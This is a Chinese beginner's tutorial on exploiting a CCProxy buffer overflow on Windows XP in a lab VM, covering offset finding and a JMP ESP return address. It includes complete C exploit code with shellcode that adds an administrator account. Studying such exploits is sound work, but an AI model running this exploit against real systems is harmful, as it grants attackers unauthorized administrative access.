WindowsXP CCProxy緩衝區溢位漏洞利用小白教程
真的很小白 ,從安裝虛擬機器開始
附一張高清版mr.buffoon的流程圖
1. 環境配置
我用的是virtualbox,百度搜索從官網下就好了。然後從這裡下載Windows XP sp3,然後就是新建一個虛擬機器,安裝上下載的系統。裝Windowsxp的時候遇到一個hyper-v的問題,Raw-mode is unavailable courtest of Hyper-V
需要把hyper-V關掉,在“啟用或關閉 Windows 功能”中取消勾選hyper-V
關掉後需要重啟整個機器然後再裝就好了。
完了在虛擬機器裡裝一堆除錯工具,在這個資源包裡都有,包括有問題的CCProxy客戶端、windbg(內含cdb等外掛)、metasploit、perl語言的字串生成工具。為了方便互相傳檔案,在虛擬機器設定-常規-高階中,設定共享貼上板和拖放的方向,可以設為雙向或者主機到虛擬機器。安裝CCProxy時註冊機使用方法如下
Windows XP sp3中有資料緩衝區溢位保護機制DEP,所以需要先關閉DEP,執行-c:\boot.ini,開啟boot檔案,將noexecute改為execute,然後重啟虛擬機器。
2. 漏洞分析
在命令列中telnet連線CCProxy,ping幾個A試試
然後用cdb分析,在命令列中輸入"C:\Program Files\Debugging Tools for Windows (x86)\cdb.exe" "C:\CCProxy\CCProxy.exe",回車後輸入g執行CCProxy,然後在一個新的命令列中telnet ip地址,ping 2000個A,cdb捕捉到CCProxy的Access violation事件。
棧中溢位內容414141(A的ASII碼對應0x41)將ret原來的內容覆蓋掉了
3. 定位ret
具體的mr.buffoon的部落格中很清楚啦,我只是貼一下詳細步驟
使用patterncreate.pl生成2000個不重複的字串,存到string.txt中。這個也可以自己寫個小程式生成不重複的字串,不一定非要用這個
把生成的字元ping給CCProxy,然後cdb捕獲到
eip的值為0x68423768,通過patternoffset.pl計算出它在整個字串中的偏移量是1012
即ret相對緩衝區的偏移大小是1012位元組,ebp佔4位元組,所以存放區域性變數的緩衝區大小為1008位元組。
4. 尋找JMP ESP 指令地址
讓ret指向jmp esp,jmp esp可以用通用地址0x7ffa4512。在cdb中使用U 7ffa4512確定該處指令就是jmp esp
一定要驗證下啊,萬一不是呢,不一定就是啊,所以一定要驗證下這個地址是不是jmp esp
5. 構造shellcode
就按mr.buffoon同學說的來,
通過metasploit來構造一個在目標主機新增管理員賬戶的shellcode。metasploit官方教程瞭解下~
我沒有通過metasploit構造,不會用,直接用的現成的
6. 定位shellcode
Shellcode是esp指向的地址的內容,通過定位esp內的字串應該放置的位置。同定位ret,通過patterncreate.pl生成不重複的字串,cdb捕捉到崩潰事件時通過dd esp命令檢視esp的內容
計算偏移
Esp指向字串的第四個位元組,因此將shellcode放在字串的第四個位元組處,前面用nob填充
7. 構造exploit
8. 編寫攻擊程式
C語言socket程式設計,向目標主機ping字串。
所以這一步就需要在虛擬機器上編譯這個c程式,我用的dev,這時候遇到一個小問題,報錯undefined reference to WSAStartup
在dev中,工具-編譯選項,然後編譯時加入以下命令-lwsock32就好了
工具包裡忘記加上這個C檔案了,將程式碼貼在這裡好了
char shellcode[] =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54"
"\x42\x50\x42\x30\x42\x30\x4b\x38\x45\x54\x4e\x33\x4b\x48\x4e\x57"
"\x45\x30\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x44\x4a\x51\x4b\x38"
"\x4f\x35\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x43\x4b\x48"
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x39\x4e\x4a\x46\x38\x42\x4c"
"\x46\x47\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x33\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58"
"\x4f\x45\x46\x32\x41\x50\x4b\x4e\x48\x36\x4b\x48\x4e\x30\x4b\x44"
"\x4b\x48\x4f\x45\x4e\x51\x41\x30\x4b\x4e\x4b\x58\x4e\x51\x4b\x58"
"\x41\x30\x4b\x4e\x49\x48\x4e\x45\x46\x42\x46\x30\x43\x4c\x41\x43"
"\x42\x4c\x46\x36\x4b\x38\x42\x44\x42\x53\x45\x48\x42\x4c\x4a\x47"
"\x4e\x50\x4b\x48\x42\x34\x4e\x50\x4b\x58\x42\x37\x4e\x41\x4d\x4a"
"\x4b\x58\x4a\x36\x4a\x50\x4b\x4e\x49\x50\x4b\x58\x42\x38\x42\x4b"
"\x42\x30\x42\x30\x42\x50\x4b\x38\x4a\x46\x4e\x33\x4f\x35\x41\x43"
"\x48\x4f\x42\x56\x48\x35\x49\x58\x4a\x4f\x43\x38\x42\x4c\x4b\x37"
"\x42\x45\x4a\x46\x42\x4f\x4c\x38\x46\x50\x4f\x35\x4a\x46\x4a\x49"
"\x50\x4f\x4c\x58\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x36\x4d\x56"
"\x46\x56\x50\x52\x45\x36\x4a\x57\x45\x56\x42\x42\x4f\x32\x43\x46"
"\x42\x52\x50\x56\x45\x46\x46\x57\x42\x42\x45\x57\x43\x37\x45\x36"
"\x44\x57\x42\x32\x50\x46\x42\x43\x42\x53\x44\x56\x42\x42\x50\x36"
"\x42\x53\x42\x43\x44\x36\x42\x42\x4f\x32\x41\x54\x46\x44\x46\x44"
"\x42\x42\x48\x32\x48\x52\x42\x52\x50\x36\x45\x56\x46\x47\x42\x52"
"\x4e\x56\x4f\x36\x43\x36\x41\x56\x4e\x56\x47\x56\x44\x57\x4f\x56"
"\x45\x47\x42\x37\x42\x42\x41\x54\x46\x46\x4d\x56\x49\x46\x50\x56"
"\x49\x46\x43\x57\x46\x57\x44\x37\x41\x56\x46\x37\x4f\x36\x44\x57"
"\x43\x47\x42\x42\x50\x46\x42\x43\x42\x33\x44\x46\x42\x42\x4f\x52"
"\x41\x44\x46\x44\x46\x44\x42\x30\x5a";
void main()
{
WSADATA WSAData;
char Buff[2000],Recv[2000];
int nRet,conRet;
struct sockaddr_in ipAddress;
SOCKET sockettest;
if(WSAStartup(MAKEWORD(1,1),&WSAData)!=0)
{
printf("ERROR\n");
WSACleanup();
exit(1);
}
sockettest= socket(AF_INET,SOCK_STREAM,0);
ipAddress.sin_family = AF_INET;
ipAddress.sin_addr.s_addr = inet_addr("10.0.2.15");//要改成自己的ip啊
ipAddress.sin_port = htons(23);
conRet=connect(sockettest,(struct sockaddr *)&ipAddress,sizeof(ipAddress));
memset(Buff, 0x90, sizeof(Buff)-1); //filled with NOP
memcpy(&Buff[0],"ping ",5); //ping and a blank
memcpy(&Buff[1998],"\r\n",2); //end with "\r\n"
memcpy(&Buff[1017],"\x12\x45\xfa\x7f",4); //set JMP ESP instructions address,1012+ping=1017。還要確保這個地址確實是指向jmp esp指令
memcpy(&Buff[9],shellcode,sizeof(shellcode)-1); // after ping with 4 NOPs
memset(Recv,0x90,sizeof(Recv)); //initiate buffer
recv(sockettest,Recv,sizeof(Recv),0);//recv
nRet=send(sockettest,Buff,sizeof(Buff),0);
Sleep(1000);
WSACleanup();
printf("attack ok !\n");
}
9. 執行結果
在命令列net user或者開始-檢視賬戶都可以,會發現成功添加了一個管理員賬戶
完成